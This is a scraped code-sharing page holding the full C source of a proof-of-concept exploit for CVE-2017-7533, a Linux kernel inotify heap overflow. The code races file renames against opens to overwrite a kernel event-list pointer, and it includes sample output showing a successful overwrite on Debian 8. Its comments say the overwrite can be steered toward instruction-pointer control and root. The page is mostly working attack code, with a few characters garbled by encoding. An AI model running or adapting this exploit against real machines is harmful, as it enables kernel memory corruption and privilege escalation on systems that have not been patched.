扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 |
/* * * * CVE-2017-7533 inotfiy linux kernel vulnerability. * * $ gcc -o exploit exploit.c -lpthread * $./exploit * * <code></code><code> * Listening for events. * Listening for events. * alloc_len : 50 * longname="test_dir/bbbb32103210321032100��1����" * handle_events() event->name : b, event->len : 16 * Detected overwrite!!! * callrename done. * alloc_len : 50 * </code><code> * This is a heap overflow bug, * tested on the Debian 8 Linux version 3.16.39(amd64) successfully. * * You could modifiy one byte to manipulate rip register, but I do not tried hard to get root. * * Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK university. * <code></code><code> * </code><code> * Jeremy Huang (jeremyhcw@gmail.com) */ //Trigger inotify event by file open and rename to trigger the vulnerability and exploit #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <signal.h> #include <sys/eventfd.h> #include <sys/inotify.h> #include <sys/mman.h> #include <ctype.h> #include <errno.h> #include <err.h> #include <poll.h> #include <unistd.h> void *callrename( void *ptr ); void *openclose( void *ptr ); pthread_t thread1, thread2; int lastfd; char *space; int original,printed, *int_space; volatile int stop = 0; // Try kmalloc-192 made by cyclic(100) char *orig_name = "f"; // 120 //char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; static void handle_events(int fd, int *wd, int argc, char* argv[]) { /* Some systems cannot read integer variables if they are not properly aligned. On other systems, incorrect alignment may decrease performance. Hence, the buffer used for reading from the inotify file descriptor should have the same alignment as struct inotify_event. */ char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event)))); const struct inotify_event *event; int i; ssize_t len; char *ptr; /* Loop while events can be read from inotify file descriptor. */ for (;;) { /* Read some events. */ len = read(fd, buf, sizeof buf); if (len == -1 && errno != EAGAIN) { perror("read"); exit(EXIT_FAILURE); } /* If the nonblocking read() found no events to read, then it returns -1 with errno set to EAGAIN. In that case, we exit the loop. */ if (len <= 0) break; /* Loop over all events in the buffer */ for (ptr = buf; ptr < buf + len; ptr += sizeof(struct inotify_event) + event->len) { event = (const struct inotify_event *) ptr; /* Print event type */ /* if (event->mask & IN_OPEN) printf("IN_OPEN: "); if (event->mask & IN_CLOSE_NOWRITE) printf("IN_CLOSE_NOWRITE: "); if (event->mask & IN_CLOSE_WRITE) printf("IN_CLOSE_WRITE: "); if (event->mask % IN_ACCESS) printf("IN_ACCESS: "); */ /* Print the name of the watched directory */ for (i = 1; i < argc; ++i) { if (wd[i] == event->wd) { //printf("%s/", argv[i]); break; } } /* Print the name of the file */ if (event->len && strcmp(event->name, orig_name)) { printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len); if ( !strcmp(event->name, "b") && strlen(event->name) == 1) { printf("Detected overwrite!!!\n"); stop = 1; break; } } /* Print type of filesystem object */ /* if (event->mask & IN_ISDIR) printf(" [directory]\n"); else printf(" [file]\n"); */ } } } static void* notify_thread_func(void* arg) { char buf; int fd, i, poll_num; int *wd; nfds_t nfds; struct pollfd fds[2]; int argc = 2; char *argv[] = { NULL, "test_dir", NULL}; /* if (argc < 2) { printf("Usage: %s PATH [PATH ...]\n", argv[0]); exit(EXIT_FAILURE); } */ //printf("Press ENTER key to terminate.\n"); /* Create the file descriptor for accessing the inotify API */ fd = inotify_init1(IN_NONBLOCK); if (fd == -1) { perror("inotify_init1"); exit(EXIT_FAILURE); } /* Allocate memory for watch descriptors */ wd = calloc(argc, sizeof(int)); if (wd == NULL) { perror("calloc"); exit(EXIT_FAILURE); } /* Mark directories for events - file was opened - file was closed */ for (i = 1; i < argc; i++) { wd[i] = inotify_add_watch(fd, argv[i], IN_OPEN | IN_CLOSE| IN_ACCESS); if (wd[i] == -1) { fprintf(stderr, "Cannot watch '%s'\n", argv[i]); perror("inotify_add_watch"); exit(EXIT_FAILURE); } } /* Prepare for polling */ nfds = 2; /* Console input */ fds[0].fd = STDIN_FILENO; fds[0].events = POLLIN; /* Inotify input */ fds[1].fd = fd; fds[1].events = POLLIN; printf("Listening for events.\n"); while (!stop) { poll_num = poll(fds, nfds, -1); if (poll_num == -1) { if (errno == EINTR) continue; perror("poll"); exit(EXIT_FAILURE); } if (poll_num > 0) { if (fds[1].revents & POLLIN) { handle_events(fd, wd, argc, argv); } } } close(fd); free(wd); exit(EXIT_SUCCESS); } void *trigger_rename_open(void* arg) { intiret1, iret2,i; setvbuf(stdout,0,2,0); iret1 = pthread_create( &thread1, NULL, callrename, NULL); if(iret1) { fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1); exit(EXIT_FAILURE); } iret2 = pthread_create( &thread2, NULL, openclose, NULL); if(iret2) { fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2); exit(EXIT_FAILURE); } pthread_join( thread1, NULL); pthread_join( thread2, NULL); exit(EXIT_SUCCESS); } // 250 char *longname_padding = "bbbb3210321032103210"; //char *longname_padding = "bbbb32103210321032103210ABCDEF"; /* rcx : 44434241.. DCDA0123 */ //char *longname_padding = "bbbb3210321032GFEDCBA"; // 31 will crash void *callrename( void *ptr ) { int i,m,k; char enter = 0; char origname[1024]; char longname[1024]; char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff"; char prev_ptr[8] = ""; // This value will overwrite the next (struct fsnotify_event)event->list.next // create shortname being initial name. snprintf(origname, sizeof origname, "test_dir/%s", orig_name); printf("alloc_len : %d\n", 48 + strlen(orig_name)+1); //printf("origname=\"%s\"\n", origname); snprintf(longname, sizeof longname, "test_dir/%s%s%s", longname_padding, next_ptr, prev_ptr); //strcat(longname,space); printf("longname=\"%s\"\n", longname); for (i=0;i<10000 && !stop ;i++) { if (rename(origname,longname)<0) perror("rename1"); if (rename(longname,origname)<0) perror("rename2"); } printf("callrename done.\n"); } void *openclose( void *ptr ) { int j,fd,m,k; char origname[1024]; snprintf(origname, sizeof origname, "test_dir/%s", orig_name); for (j=0;j<8000 && !stop;j++ ) { open(origname,O_RDWR); } printf("alloc_len : %d\n", 48 + strlen(orig_name)+1); } void main(void) { pthread_t notify_thread[4]; pthread_t rename_thread; int i = 0; char buf[1024]; snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name); system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir"); system(buf); for ( i ; i < 2; i++ ) { pthread_create(¬ify_thread[i], NULL, notify_thread_func, NULL); } //Trigger inotify event by file open and rename to //trigger the vulnerability pthread_create(&rename_thread, NULL, trigger_rename_open, NULL); pthread_join(rename_thread, NULL); for ( i = 0; i < 2; i++ ) pthread_join(notify_thread[i], NULL); } |
体验盒子
